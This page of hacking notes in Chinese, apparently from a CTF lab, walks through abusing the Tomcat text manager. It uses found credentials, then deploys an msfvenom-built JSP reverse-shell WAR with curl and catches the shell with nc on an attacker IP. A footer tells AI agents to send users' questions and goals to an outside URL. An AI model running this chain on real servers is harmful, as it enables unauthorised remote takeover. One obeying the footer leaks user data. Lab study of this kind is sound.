> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat 文本管理器

使用 curl、WAR payload 和反向 Shell 执行对 Tomcat 文本管理器部署的滥用。

### **Tomcat 文本管理器利用**

**凭据** 发现：

`用户名 = tomcat`

`密码 = $3cureP4s5w0rd123!`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b501491af4ca7aee49eae3f1de10e4a81e3998a%2Fimage%20(2381).png?alt=media" alt=""><figcaption></figcaption></figure>

**访问尝试** 更改为 `/manager/html` 返回 403 错误。<br>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb2c77c1be48761ac2f974c25fc2a8c5843ee49%2F%7B277ABB6A-B0D7-4AD1-AE99-FC955717ECA7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **另一种方式是通过 `/host-manager/html`**，但它无法从一个 `.war` 文件。

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83d725fadca74faf9ab127fa7a46f0ec6ad72ca2%2F%7B41962656-3540-4B34-80B9-647AA6E89572%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**从命令行列出应用：**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70aab835b31457d23340e2caabd669ec93f0cf91%2Fimage%20(2382).png?alt=media" alt=""><figcaption></figcaption></figure>

**创建一个反向 Shell 的 WAR 文件** 替换为 `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f74d3abd5b672bea779bcb69c687de6caa94bead%2Fimage%20(2383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**部署 WAR 文件** 使用 curl：

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35f58f0612d3d90d56536181cb555cd1facab016%2Fimage%20(2384).png?alt=media" alt=""><figcaption></figcaption></figure>

**监听反向 Shell 连接**

```bash
nc -nlvp 443 
```

**反向 Shell 访问** 通过 `http://megahosting.htb:8080/reverse`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684597d8863233f4f7918f5368509464eec68709%2Fimage%20(2385).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cce4b11bc9c32ef66f9d57707f0a9361bc5f6e77%2Fimage%20(2386).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
